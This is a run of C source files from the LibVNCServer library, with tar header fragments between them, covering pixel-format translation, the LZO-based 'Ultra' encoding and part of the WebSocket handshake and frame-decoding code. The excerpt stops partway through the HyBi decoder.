rfbTranslateWithSingleTable32to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithSingleTable32to24, #endif rfbTranslateWithSingleTable32to32 } }; static rfbTranslateFnType rfbTranslateWithRGBTablesFns[COUNT_OFFSETS][COUNT_OFFSETS] = { { rfbTranslateWithRGBTables8to8, rfbTranslateWithRGBTables8to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithRGBTables8to24, #endif rfbTranslateWithRGBTables8to32 }, { rfbTranslateWithRGBTables16to8, rfbTranslateWithRGBTables16to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithRGBTables16to24, #endif rfbTranslateWithRGBTables16to32 }, #ifdef LIBVNCSERVER_ALLOW24BPP { rfbTranslateWithRGBTables24to8, rfbTranslateWithRGBTables24to16, rfbTranslateWithRGBTables24to24, rfbTranslateWithRGBTables24to32 }, #endif { rfbTranslateWithRGBTables32to8, rfbTranslateWithRGBTables32to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithRGBTables32to24, #endif rfbTranslateWithRGBTables32to32 } }; /* * rfbTranslateNone is used when no translation is required. */ void rfbTranslateNone(char *table, rfbPixelFormat *in, rfbPixelFormat *out, char *iptr, char *optr, int bytesBetweenInputLines, int width, int height) { int bytesPerOutputLine = width * (out->bitsPerPixel / 8); while (height > 0) { memcpy(optr, iptr, bytesPerOutputLine); iptr += bytesBetweenInputLines; optr += bytesPerOutputLine; height--; } } /* * rfbSetTranslateFunction sets the translation function. */ rfbBool rfbSetTranslateFunction(rfbClientPtr cl) { rfbLog("Pixel format for client %s:\n",cl->host); PrintPixelFormat(&cl->format); /* * Check that bits per pixel values are valid */ if ((cl->screen->serverFormat.bitsPerPixel != 8) && (cl->screen->serverFormat.bitsPerPixel != 16) && #ifdef LIBVNCSERVER_ALLOW24BPP (cl->screen->serverFormat.bitsPerPixel != 24) && #endif (cl->screen->serverFormat.bitsPerPixel != 32)) { rfbErr("%s: server bits per pixel not 8, 16 or 32 (is %d)\n", "rfbSetTranslateFunction", cl->screen->serverFormat.bitsPerPixel); rfbCloseClient(cl); return FALSE; } if ((cl->format.bitsPerPixel != 8) && (cl->format.bitsPerPixel != 16) && #ifdef LIBVNCSERVER_ALLOW24BPP (cl->format.bitsPerPixel != 24) && #endif (cl->format.bitsPerPixel != 32)) { rfbErr("%s: client bits per pixel not 8, 16 or 32\n", "rfbSetTranslateFunction"); rfbCloseClient(cl); return FALSE; } if (!cl->format.trueColour && (cl->format.bitsPerPixel != 8)) { rfbErr("rfbSetTranslateFunction: client has colour map " "but %d-bit - can only cope with 8-bit colour maps\n", cl->format.bitsPerPixel); rfbCloseClient(cl); return FALSE; } /* * bpp is valid, now work out how to translate */ if (!cl->format.trueColour) { /* * truecolour -> colour map * * Set client's colour map to BGR233, then effectively it's * truecolour as well */ if (!rfbSetClientColourMapBGR233(cl)) return FALSE; cl->format = BGR233Format; } /* truecolour -> truecolour */ if (PF_EQ(cl->format,cl->screen->serverFormat)) { /* client & server the same */ rfbLog("no translation needed\n"); cl->translateFn = rfbTranslateNone; return TRUE; } if ((cl->screen->serverFormat.bitsPerPixel < 16) || ((!cl->screen->serverFormat.trueColour || !rfbEconomicTranslate) && (cl->screen->serverFormat.bitsPerPixel == 16))) { /* we can use a single lookup table for <= 16 bpp */ cl->translateFn = rfbTranslateWithSingleTableFns [BPP2OFFSET(cl->screen->serverFormat.bitsPerPixel)] [BPP2OFFSET(cl->format.bitsPerPixel)]; if(cl->screen->serverFormat.trueColour) (*rfbInitTrueColourSingleTableFns [BPP2OFFSET(cl->format.bitsPerPixel)]) (&cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format); else (*rfbInitColourMapSingleTableFns [BPP2OFFSET(cl->format.bitsPerPixel)]) (&cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format,&cl->screen->colourMap); } else { /* otherwise we use three separate tables for red, green and blue */ cl->translateFn = rfbTranslateWithRGBTablesFns [BPP2OFFSET(cl->screen->serverFormat.bitsPerPixel)] [BPP2OFFSET(cl->format.bitsPerPixel)]; (*rfbInitTrueColourRGBTablesFns [BPP2OFFSET(cl->format.bitsPerPixel)]) (&cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format); } return TRUE; } /* * rfbSetClientColourMapBGR233 sets the client's colour map so that it's * just like an 8-bit BGR233 true colour client. */ static rfbBool rfbSetClientColourMapBGR233(rfbClientPtr cl) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; rfbSetColourMapEntriesMsg *scme = (rfbSetColourMapEntriesMsg *)buf; uint16_t *rgb = (uint16_t *)(&buf[sz_rfbSetColourMapEntriesMsg]); int i, len; int r, g, b; if (cl->format.bitsPerPixel != 8 ) { rfbErr("%s: client not 8 bits per pixel\n", "rfbSetClientColourMapBGR233"); rfbCloseClient(cl); return FALSE; } scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(0); scme->nColours = Swap16IfLE(256); len = sz_rfbSetColourMapEntriesMsg; i = 0; for (b = 0; b < 4; b++) { for (g = 0; g < 8; g++) { for (r = 0; r < 8; r++) { rgb[i++] = Swap16IfLE(r * 65535 / 7); rgb[i++] = Swap16IfLE(g * 65535 / 7); rgb[i++] = Swap16IfLE(b * 65535 / 3); } } } len += 256 * 3 * 2; if (rfbWriteExact(cl, buf, len) < 0) { rfbLogPerror("rfbSetClientColourMapBGR233: write"); rfbCloseClient(cl); return FALSE; } return TRUE; } /* this function is not called very often, so it needn't be efficient. */ /* * rfbSetClientColourMap is called to set the client's colour map. If the * client is a true colour client, we simply update our own translation table * and mark the whole screen as having been modified. */ rfbBool rfbSetClientColourMap(rfbClientPtr cl, int firstColour, int nColours) { if (cl->screen->serverFormat.trueColour || !cl->readyForSetColourMapEntries) { return TRUE; } if (nColours == 0) { nColours = cl->screen->colourMap.count; } if (cl->format.trueColour) { LOCK(cl->updateMutex); (*rfbInitColourMapSingleTableFns [BPP2OFFSET(cl->format.bitsPerPixel)]) (&cl->translateLookupTable, &cl->screen->serverFormat, &cl->format,&cl->screen->colourMap); sraRgnDestroy(cl->modifiedRegion); cl->modifiedRegion = sraRgnCreateRect(0,0,cl->screen->width,cl->screen->height); UNLOCK(cl->updateMutex); return TRUE; } return rfbSendSetColourMapEntries(cl, firstColour, nColours); } /* * rfbSetClientColourMaps sets the colour map for each RFB client. */ void rfbSetClientColourMaps(rfbScreenInfoPtr rfbScreen, int firstColour, int nColours) { rfbClientIteratorPtr i; rfbClientPtr cl; i = rfbGetClientIterator(rfbScreen); while((cl = rfbClientIteratorNext(i))) rfbSetClientColourMap(cl, firstColour, nColours); rfbReleaseClientIterator(i); } static void PrintPixelFormat(rfbPixelFormat *pf) { if (pf->bitsPerPixel == 1) { rfbLog(" 1 bpp, %s sig bit in each byte is leftmost on the screen.\n", (pf->bigEndian ? "most" : "least")); } else { rfbLog(" %d bpp, depth %d%s\n",pf->bitsPerPixel,pf->depth, ((pf->bitsPerPixel == 8) ? "" : (pf->bigEndian ? ", big endian" : ", little endian"))); if (pf->trueColour) { rfbLog(" true colour: max r %d g %d b %d, shift r %d g %d b %d\n", pf->redMax, pf->greenMax, pf->blueMax, pf->redShift, pf->greenShift, pf->blueShift); } else { rfbLog(" uses a colour map (not true colour).\n"); } } } libvncserver-LibVNCServer-0.9.11/libvncserver/ultra.c000066400000000000000000000154711303145525000225550ustar00rootroot00000000000000/* * ultra.c * * Routines to implement ultra based encoding (minilzo). * ultrazip supports packed rectangles if the rects are tiny... * This improves performance as lzo has more data to work with at once * This is 'UltraZip' and is currently not implemented. */ #include #include "minilzo.h" /* * cl->beforeEncBuf contains pixel data in the client's format. * cl->afterEncBuf contains the lzo (deflated) encoding version. * If the lzo compressed/encoded version is * larger than the raw data or if it exceeds cl->afterEncBufSize then * raw encoding is used instead. */ /* * rfbSendOneRectEncodingZlib - send a given rectangle using one Zlib * rectangle encoding. */ #define MAX_WRKMEM ((LZO1X_1_MEM_COMPRESS) + (sizeof(lzo_align_t) - 1)) / sizeof(lzo_align_t) void rfbFreeUltraData(rfbClientPtr cl) { if (cl->compStreamInitedLZO) { free(cl->lzoWrkMem); cl->compStreamInitedLZO=FALSE; } } static rfbBool rfbSendOneRectEncodingUltra(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; rfbZlibHeader hdr; int deflateResult; int i; char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); int maxRawSize; lzo_uint maxCompSize; maxRawSize = (w * h * (cl->format.bitsPerPixel / 8)); if (cl->beforeEncBufSize < maxRawSize) { cl->beforeEncBufSize = maxRawSize; if (cl->beforeEncBuf == NULL) cl->beforeEncBuf = (char *)malloc(cl->beforeEncBufSize); else cl->beforeEncBuf = (char *)realloc(cl->beforeEncBuf, cl->beforeEncBufSize); } /* * lzo requires output buffer to be slightly larger than the input * buffer, in the worst case. */ maxCompSize = (maxRawSize + maxRawSize / 16 + 64 + 3); if (cl->afterEncBufSize < (int)maxCompSize) { cl->afterEncBufSize = maxCompSize; if (cl->afterEncBuf == NULL) cl->afterEncBuf = (char *)malloc(cl->afterEncBufSize); else cl->afterEncBuf = (char *)realloc(cl->afterEncBuf, cl->afterEncBufSize); } /* * Convert pixel data to client format. */ (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat, &cl->format, fbptr, cl->beforeEncBuf, cl->scaledScreen->paddedWidthInBytes, w, h); if ( cl->compStreamInitedLZO == FALSE ) { cl->compStreamInitedLZO = TRUE; /* Work-memory needed for compression. Allocate memory in units * of `lzo_align_t' (instead of `char') to make sure it is properly aligned. */ cl->lzoWrkMem = malloc(sizeof(lzo_align_t) * (((LZO1X_1_MEM_COMPRESS) + (sizeof(lzo_align_t) - 1)) / sizeof(lzo_align_t))); } /* Perform the compression here. */ deflateResult = lzo1x_1_compress((unsigned char *)cl->beforeEncBuf, (lzo_uint)(w * h * (cl->format.bitsPerPixel / 8)), (unsigned char *)cl->afterEncBuf, &maxCompSize, cl->lzoWrkMem); /* maxCompSize now contains the compressed size */ /* Find the total size of the resulting compressed data. */ cl->afterEncBufLen = maxCompSize; if ( deflateResult != LZO_E_OK ) { rfbErr("lzo deflation error: %d\n", deflateResult); return FALSE; } /* Update statics */ rfbStatRecordEncodingSent(cl, rfbEncodingUltra, sz_rfbFramebufferUpdateRectHeader + sz_rfbZlibHeader + cl->afterEncBufLen, maxRawSize); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbZlibHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingUltra); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; hdr.nBytes = Swap32IfLE(cl->afterEncBufLen); memcpy(&cl->updateBuf[cl->ublen], (char *)&hdr, sz_rfbZlibHeader); cl->ublen += sz_rfbZlibHeader; /* We might want to try sending the data directly... */ for (i = 0; i < cl->afterEncBufLen;) { int bytesToCopy = UPDATE_BUF_SIZE - cl->ublen; if (i + bytesToCopy > cl->afterEncBufLen) { bytesToCopy = cl->afterEncBufLen - i; } memcpy(&cl->updateBuf[cl->ublen], &cl->afterEncBuf[i], bytesToCopy); cl->ublen += bytesToCopy; i += bytesToCopy; if (cl->ublen == UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } } return TRUE; } /* * rfbSendRectEncodingUltra - send a given rectangle using one or more * LZO encoding rectangles. */ rfbBool rfbSendRectEncodingUltra(rfbClientPtr cl, int x, int y, int w, int h) { int maxLines; int linesRemaining; rfbRectangle partialRect; partialRect.x = x; partialRect.y = y; partialRect.w = w; partialRect.h = h; /* Determine maximum pixel/scan lines allowed per rectangle. */ maxLines = ( ULTRA_MAX_SIZE(w) / w ); /* Initialize number of scan lines left to do. */ linesRemaining = h; /* Loop until all work is done. */ while ( linesRemaining > 0 ) { int linesToComp; if ( maxLines < linesRemaining ) linesToComp = maxLines; else linesToComp = linesRemaining; partialRect.h = linesToComp; /* Encode (compress) and send the next rectangle. */ if ( ! rfbSendOneRectEncodingUltra( cl, partialRect.x, partialRect.y, partialRect.w, partialRect.h )) { return FALSE; } /* Technically, flushing the buffer here is not extremely * efficient. However, this improves the overall throughput * of the system over very slow networks. By flushing * the buffer with every maximum size lzo rectangle, we * improve the pipelining usage of the server CPU, network, * and viewer CPU components. Insuring that these components * are working in parallel actually improves the performance * seen by the user. * Since, lzo is most useful for slow networks, this flush * is appropriate for the desired behavior of the lzo encoding. */ if (( cl->ublen > 0 ) && ( linesToComp == maxLines )) { if (!rfbSendUpdateBuf(cl)) { return FALSE; } } /* Update remaining and incremental rectangle location. */ linesRemaining -= linesToComp; partialRect.y += linesToComp; } return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncserver/websockets.c000066400000000000000000000624071303145525000236000ustar00rootroot00000000000000/* * websockets.c - deal with WebSockets clients. * * This code should be independent of any changes in the RFB protocol. It is * an additional handshake and framing of normal sockets: * http://www.whatwg.org/specs/web-socket-protocol/ * */ /* * Copyright (C) 2010 Joel Martin * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include /* errno */ #include #ifndef _MSC_VER #include /* __b64_ntop */ #endif #ifdef LIBVNCSERVER_HAVE_ENDIAN_H #include #elif LIBVNCSERVER_HAVE_SYS_ENDIAN_H #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #include #include #include "rfb/rfbconfig.h" #include "rfbssl.h" #include "rfbcrypto.h" #define WS_NTOH64(n) htobe64(n) #define WS_NTOH32(n) htobe32(n) #define WS_NTOH16(n) htobe16(n) #define WS_HTON64(n) htobe64(n) #define WS_HTON16(n) htobe16(n) #define B64LEN(__x) (((__x + 2) / 3) * 12 / 3) #define WSHLENMAX 14 /* 2 + sizeof(uint64_t) + sizeof(uint32_t) */ enum { WEBSOCKETS_VERSION_HIXIE, WEBSOCKETS_VERSION_HYBI }; #if 0 #include static int gettid() { return (int)syscall(SYS_gettid); } #endif typedef int (*wsEncodeFunc)(rfbClientPtr cl, const char *src, int len, char **dst); typedef int (*wsDecodeFunc)(rfbClientPtr cl, char *dst, int len); typedef struct ws_ctx_s { char codeBufDecode[B64LEN(UPDATE_BUF_SIZE) + WSHLENMAX]; /* base64 + maximum frame header length */ char codeBufEncode[B64LEN(UPDATE_BUF_SIZE) + WSHLENMAX]; /* base64 + maximum frame header length */ char readbuf[8192]; int readbufstart; int readbuflen; int dblen; char carryBuf[3]; /* For base64 carry-over */ int carrylen; int version; int base64; wsEncodeFunc encode; wsDecodeFunc decode; } ws_ctx_t; typedef union ws_mask_s { char c[4]; uint32_t u; } ws_mask_t; /* XXX: The union and the structs do not need to be named. * We are working around a bug present in GCC < 4.6 which prevented * it from recognizing anonymous structs and unions. * See http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 */ typedef struct __attribute__ ((__packed__)) ws_header_s { unsigned char b0; unsigned char b1; union { struct __attribute__ ((__packed__)) { uint16_t l16; ws_mask_t m16; } s16; struct __attribute__ ((__packed__)) { uint64_t l64; ws_mask_t m64; } s64; ws_mask_t m; } u; } ws_header_t; enum { WS_OPCODE_CONTINUATION = 0x0, WS_OPCODE_TEXT_FRAME, WS_OPCODE_BINARY_FRAME, WS_OPCODE_CLOSE = 0x8, WS_OPCODE_PING, WS_OPCODE_PONG }; #define FLASH_POLICY_RESPONSE "\n" #define SZ_FLASH_POLICY_RESPONSE 93 /* * draft-ietf-hybi-thewebsocketprotocol-10 * 5.2.2. Sending the Server's Opening Handshake */ #define GUID "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" #define SERVER_HANDSHAKE_HIXIE "HTTP/1.1 101 Web Socket Protocol Handshake\r\n\ Upgrade: WebSocket\r\n\ Connection: Upgrade\r\n\ %sWebSocket-Origin: %s\r\n\ %sWebSocket-Location: %s://%s%s\r\n\ %sWebSocket-Protocol: %s\r\n\ \r\n%s" #define SERVER_HANDSHAKE_HYBI "HTTP/1.1 101 Switching Protocols\r\n\ Upgrade: websocket\r\n\ Connection: Upgrade\r\n\ Sec-WebSocket-Accept: %s\r\n\ Sec-WebSocket-Protocol: %s\r\n\ \r\n" #define SERVER_HANDSHAKE_HYBI_NO_PROTOCOL "HTTP/1.1 101 Switching Protocols\r\n\ Upgrade: websocket\r\n\ Connection: Upgrade\r\n\ Sec-WebSocket-Accept: %s\r\n\ \r\n" #define WEBSOCKETS_CLIENT_CONNECT_WAIT_MS 100 #define WEBSOCKETS_CLIENT_SEND_WAIT_MS 100 #define WEBSOCKETS_MAX_HANDSHAKE_LEN 4096 #if defined(__linux__) && defined(NEED_TIMEVAL) struct timeval { long int tv_sec,tv_usec; } ; #endif static rfbBool webSocketsHandshake(rfbClientPtr cl, char *scheme); void webSocketsGenMd5(char * target, char *key1, char *key2, char *key3); static int webSocketsEncodeHybi(rfbClientPtr cl, const char *src, int len, char **dst); static int webSocketsEncodeHixie(rfbClientPtr cl, const char *src, int len, char **dst); static int webSocketsDecodeHybi(rfbClientPtr cl, char *dst, int len); static int webSocketsDecodeHixie(rfbClientPtr cl, char *dst, int len); static int min (int a, int b) { return a < b ? a : b; } static void webSocketsGenSha1Key(char *target, int size, char *key) { struct iovec iov[2]; unsigned char hash[20]; iov[0].iov_base = key; iov[0].iov_len = strlen(key); iov[1].iov_base = GUID; iov[1].iov_len = sizeof(GUID) - 1; digestsha1(iov, 2, hash); if (-1 == __b64_ntop(hash, sizeof(hash), target, size)) rfbErr("b64_ntop failed\n"); } /* * rfbWebSocketsHandshake is called to handle new WebSockets connections */ rfbBool webSocketsCheck (rfbClientPtr cl) { char bbuf[4], *scheme; int ret; ret = rfbPeekExactTimeout(cl, bbuf, 4, WEBSOCKETS_CLIENT_CONNECT_WAIT_MS); if ((ret < 0) && (errno == ETIMEDOUT)) { rfbLog("Normal socket connection\n"); return TRUE; } else if (ret <= 0) { rfbErr("webSocketsHandshake: unknown connection error\n"); return FALSE; } if (strncmp(bbuf, "<", 1) == 0) { rfbLog("Got Flash policy request, sending response\n"); if (rfbWriteExact(cl, FLASH_POLICY_RESPONSE, SZ_FLASH_POLICY_RESPONSE) < 0) { rfbErr("webSocketsHandshake: failed sending Flash policy response"); } return FALSE; } else if (strncmp(bbuf, "\x16", 1) == 0 || strncmp(bbuf, "\x80", 1) == 0) { rfbLog("Got TLS/SSL WebSockets connection\n"); if (-1 == rfbssl_init(cl)) { rfbErr("webSocketsHandshake: rfbssl_init failed\n"); return FALSE; } ret = rfbPeekExactTimeout(cl, bbuf, 4, WEBSOCKETS_CLIENT_CONNECT_WAIT_MS); scheme = "wss"; } else { scheme = "ws"; } if (strncmp(bbuf, "GET ", 4) != 0) { rfbErr("webSocketsHandshake: invalid client header\n"); return FALSE; } rfbLog("Got '%s' WebSockets handshake\n", scheme); if (!webSocketsHandshake(cl, scheme)) { return FALSE; } /* Start WebSockets framing */ return TRUE; } static rfbBool webSocketsHandshake(rfbClientPtr cl, char *scheme) { char *buf, *response, *line; int n, linestart = 0, len = 0, llen, base64 = TRUE; char prefix[5], trailer[17]; char *path = NULL, *host = NULL, *origin = NULL, *protocol = NULL; char *key1 = NULL, *key2 = NULL, *key3 = NULL; char *sec_ws_origin = NULL; char *sec_ws_key = NULL; char sec_ws_version = 0; ws_ctx_t *wsctx = NULL; buf = (char *) malloc(WEBSOCKETS_MAX_HANDSHAKE_LEN); if (!buf) { rfbLogPerror("webSocketsHandshake: malloc"); return FALSE; } response = (char *) malloc(WEBSOCKETS_MAX_HANDSHAKE_LEN); if (!response) { free(buf); rfbLogPerror("webSocketsHandshake: malloc"); return FALSE; } while (len < WEBSOCKETS_MAX_HANDSHAKE_LEN-1) { if ((n = rfbReadExactTimeout(cl, buf+len, 1, WEBSOCKETS_CLIENT_SEND_WAIT_MS)) <= 0) { if ((n < 0) && (errno == ETIMEDOUT)) { break; } if (n == 0) rfbLog("webSocketsHandshake: client gone\n"); else rfbLogPerror("webSocketsHandshake: read"); free(response); free(buf); return FALSE; } len += 1; llen = len - linestart; if (((llen >= 2)) && (buf[len-1] == '\n')) { line = buf+linestart; if ((llen == 2) && (strncmp("\r\n", line, 2) == 0)) { if (key1 && key2) { if ((n = rfbReadExact(cl, buf+len, 8)) <= 0) { if ((n < 0) && (errno == ETIMEDOUT)) { break; } if (n == 0) rfbLog("webSocketsHandshake: client gone\n"); else rfbLogPerror("webSocketsHandshake: read"); free(response); free(buf); return FALSE; } rfbLog("Got key3\n"); key3 = buf+len; len += 8; } else { buf[len] = '\0'; } break; } else if ((llen >= 16) && ((strncmp("GET ", line, min(llen,4))) == 0)) { /* 16 = 4 ("GET ") + 1 ("/.*") + 11 (" HTTP/1.1\r\n") */ path = line+4; buf[len-11] = '\0'; /* Trim trailing " HTTP/1.1\r\n" */ cl->wspath = strdup(path); /* rfbLog("Got path: %s\n", path); */ } else if ((strncasecmp("host: ", line, min(llen,6))) == 0) { host = line+6; buf[len-2] = '\0'; /* rfbLog("Got host: %s\n", host); */ } else if ((strncasecmp("origin: ", line, min(llen,8))) == 0) { origin = line+8; buf[len-2] = '\0'; /* rfbLog("Got origin: %s\n", origin); */ } else if ((strncasecmp("sec-websocket-key1: ", line, min(llen,20))) == 0) { key1 = line+20; buf[len-2] = '\0'; /* rfbLog("Got key1: %s\n", key1); */ } else if ((strncasecmp("sec-websocket-key2: ", line, min(llen,20))) == 0) { key2 = line+20; buf[len-2] = '\0'; /* rfbLog("Got key2: %s\n", key2); */ /* HyBI */ } else if ((strncasecmp("sec-websocket-protocol: ", line, min(llen,24))) == 0) { protocol = line+24; buf[len-2] = '\0'; rfbLog("Got protocol: %s\n", protocol); } else if ((strncasecmp("sec-websocket-origin: ", line, min(llen,22))) == 0) { sec_ws_origin = line+22; buf[len-2] = '\0'; } else if ((strncasecmp("sec-websocket-key: ", line, min(llen,19))) == 0) { sec_ws_key = line+19; buf[len-2] = '\0'; } else if ((strncasecmp("sec-websocket-version: ", line, min(llen,23))) == 0) { sec_ws_version = strtol(line+23, NULL, 10); buf[len-2] = '\0'; } linestart = len; } } if (!(path && host && (origin || sec_ws_origin))) { rfbErr("webSocketsHandshake: incomplete client handshake\n"); free(response); free(buf); return FALSE; } if ((protocol) && (strstr(protocol, "binary"))) { if (! sec_ws_version) { rfbErr("webSocketsHandshake: 'binary' protocol not supported with Hixie\n"); free(response); free(buf); return FALSE; } rfbLog(" - webSocketsHandshake: using binary/raw encoding\n"); base64 = FALSE; protocol = "binary"; } else { rfbLog(" - webSocketsHandshake: using base64 encoding\n"); base64 = TRUE; if ((protocol) && (strstr(protocol, "base64"))) { protocol = "base64"; } else { protocol = ""; } } /* * Generate the WebSockets server response based on the the headers sent * by the client. */ if (sec_ws_version) { char accept[B64LEN(SHA1_HASH_SIZE) + 1]; rfbLog(" - WebSockets client version hybi-%02d\n", sec_ws_version); webSocketsGenSha1Key(accept, sizeof(accept), sec_ws_key); if(strlen(protocol) > 0) len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, SERVER_HANDSHAKE_HYBI, accept, protocol); else len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, SERVER_HANDSHAKE_HYBI_NO_PROTOCOL, accept); } else { /* older hixie handshake, this could be removed if * a final standard is established */ if (!(key1 && key2 && key3)) { rfbLog(" - WebSockets client version hixie-75\n"); prefix[0] = '\0'; trailer[0] = '\0'; } else { rfbLog(" - WebSockets client version hixie-76\n"); snprintf(prefix, 5, "Sec-"); webSocketsGenMd5(trailer, key1, key2, key3); } len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, SERVER_HANDSHAKE_HIXIE, prefix, origin, prefix, scheme, host, path, prefix, protocol, trailer); } if (rfbWriteExact(cl, response, len) < 0) { rfbErr("webSocketsHandshake: failed sending WebSockets response\n"); free(response); free(buf); return FALSE; } /* rfbLog("webSocketsHandshake: %s\n", response); */ free(response); free(buf); wsctx = calloc(1, sizeof(ws_ctx_t)); if (sec_ws_version) { wsctx->version = WEBSOCKETS_VERSION_HYBI; wsctx->encode = webSocketsEncodeHybi; wsctx->decode = webSocketsDecodeHybi; } else { wsctx->version = WEBSOCKETS_VERSION_HIXIE; wsctx->encode = webSocketsEncodeHixie; wsctx->decode = webSocketsDecodeHixie; } wsctx->base64 = base64; cl->wsctx = (wsCtx *)wsctx; return TRUE; } void webSocketsGenMd5(char * target, char *key1, char *key2, char *key3) { unsigned int i, spaces1 = 0, spaces2 = 0; unsigned long num1 = 0, num2 = 0; unsigned char buf[17]; struct iovec iov[1]; for (i=0; i < strlen(key1); i++) { if (key1[i] == ' ') { spaces1 += 1; } if ((key1[i] >= 48) && (key1[i] <= 57)) { num1 = num1 * 10 + (key1[i] - 48); } } num1 = num1 / spaces1; for (i=0; i < strlen(key2); i++) { if (key2[i] == ' ') { spaces2 += 1; } if ((key2[i] >= 48) && (key2[i] <= 57)) { num2 = num2 * 10 + (key2[i] - 48); } } num2 = num2 / spaces2; /* Pack it big-endian */ buf[0] = (num1 & 0xff000000) >> 24; buf[1] = (num1 & 0xff0000) >> 16; buf[2] = (num1 & 0xff00) >> 8; buf[3] = num1 & 0xff; buf[4] = (num2 & 0xff000000) >> 24; buf[5] = (num2 & 0xff0000) >> 16; buf[6] = (num2 & 0xff00) >> 8; buf[7] = num2 & 0xff; strncpy((char *)buf+8, key3, 8); buf[16] = '\0'; iov[0].iov_base = buf; iov[0].iov_len = 16; digestmd5(iov, 1, target); target[16] = '\0'; return; } static int webSocketsEncodeHixie(rfbClientPtr cl, const char *src, int len, char **dst) { int sz = 0; ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; wsctx->codeBufEncode[sz++] = '\x00'; len = __b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode+sz, sizeof(wsctx->codeBufEncode) - (sz + 1)); if (len < 0) { return len; } sz += len; wsctx->codeBufEncode[sz++] = '\xff'; *dst = wsctx->codeBufEncode; return sz; } static int ws_read(rfbClientPtr cl, char *buf, int len) { int n; if (cl->sslctx) { n = rfbssl_read(cl, buf, len); } else { n = read(cl->sock, buf, len); } return n; } static int ws_peek(rfbClientPtr cl, char *buf, int len) { int n; if (cl->sslctx) { n = rfbssl_peek(cl, buf, len); } else { while (-1 == (n = recv(cl->sock, buf, len, MSG_PEEK))) { if (errno != EAGAIN) break; } } return n; } static int webSocketsDecodeHixie(rfbClientPtr cl, char *dst, int len) { int retlen = 0, n, i, avail, modlen, needlen; char *buf, *end = NULL; ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; buf = wsctx->codeBufDecode; n = ws_peek(cl, buf, len*2+2); if (n <= 0) { /* save errno because rfbErr() will tamper it */ int olderrno = errno; rfbErr("%s: peek (%d) %m\n", __func__, errno); errno = olderrno; return n; } /* Base64 encoded WebSockets stream */ if (buf[0] == '\xff') { i = ws_read(cl, buf, 1); /* Consume marker */ buf++; n--; } if (n == 0) { errno = EAGAIN; return -1; } if (buf[0] == '\x00') { i = ws_read(cl, buf, 1); /* Consume marker */ buf++; n--; } if (n == 0) { errno = EAGAIN; return -1; } /* end = memchr(buf, '\xff', len*2+2); */ end = memchr(buf, '\xff', n); if (!end) { end = buf + n; } avail = end - buf; len -= wsctx->carrylen; /* Determine how much base64 data we need */ modlen = len + (len+2)/3; needlen = modlen; if (needlen % 4) { needlen += 4 - (needlen % 4); } if (needlen > avail) { /* rfbLog("Waiting for more base64 data\n"); */ errno = EAGAIN; return -1; } /* Any carryover from previous decode */ for (i=0; i < wsctx->carrylen; i++) { /* rfbLog("Adding carryover %d\n", wsctx->carryBuf[i]); */ dst[i] = wsctx->carryBuf[i]; retlen += 1; } /* Decode the rest of what we need */ buf[needlen] = '\x00'; /* Replace end marker with end of string */ /* rfbLog("buf: %s\n", buf); */ n = __b64_pton(buf, (unsigned char *)dst+retlen, 2+len); if (n < len) { rfbErr("Base64 decode error\n"); errno = EIO; return -1; } retlen += n; /* Consume the data from socket */ i = ws_read(cl, buf, needlen); wsctx->carrylen = n - len; retlen -= wsctx->carrylen; for (i=0; i < wsctx->carrylen; i++) { /* rfbLog("Saving carryover %d\n", dst[retlen + i]); */ wsctx->carryBuf[i] = dst[retlen + i]; } /* rfbLog("<< webSocketsDecode, retlen: %d\n", retlen); */ return retlen; } static int webSocketsDecodeHybi(rfbClientPtr cl, char *dst, int len) { char *buf, *payload; uint32_t *payload32; int ret = -1, result = -1; int total = 0; ws_mask_t mask; ws_header_t *header; int i; unsigned char opcode; ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; int flength, fhlen; /* int fin; */ /* not used atm */ /* rfbLog(" <== %s[%d]: %d cl: %p, wsctx: %p-%p (%d)\n", __func__, gettid(), len, cl, wsctx, (char *)wsctx + sizeof(ws_ctx_t), sizeof(ws_ctx_t)); */ if (wsctx->readbuflen) { /* simply return what we have */ if (wsctx->readbuflen > len) { memcpy(dst, wsctx->readbuf + wsctx->readbufstart, len); 